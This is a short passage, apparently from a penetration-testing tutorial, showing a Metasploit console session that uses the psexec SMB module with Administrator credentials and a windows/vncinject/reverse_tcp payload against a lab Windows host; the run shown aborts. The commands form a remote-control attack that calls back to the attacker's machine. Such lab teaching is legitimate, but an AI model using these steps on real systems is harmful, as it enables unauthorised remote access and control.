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We will use the Microsoft Windows Authenticated User Code Execution exploit module with the windows/vncinject/reverse_tcp payload for injecting the VNC server remotely:

msf > use exploit/windows/smb/psexecmsf exploit(psexec) > set SMBUSER AdministratorSMBUSER => Administratormsf exploit(psexec) > set SMBPASS vagrantSMBPASS => vagrantmsf exploit(psexec) > set RHOST 192.168.216.10RHOST => 192.168.216.10msf exploit(psexec) > set PAYLOAD windows/vncinject/reverse_tcpPAYLOAD => windows/vncinject/reverse_tcpmsf exploit(psexec) > set LHOST 192.168.216.5LHOST => 192.168.216.5msf exploit(psexec) > exploit ...[-] 192.168.216.10:445 - Exploit aborted due to failure: unknown: 192.168.216.10:445 - Unable to execute specified command: The ...

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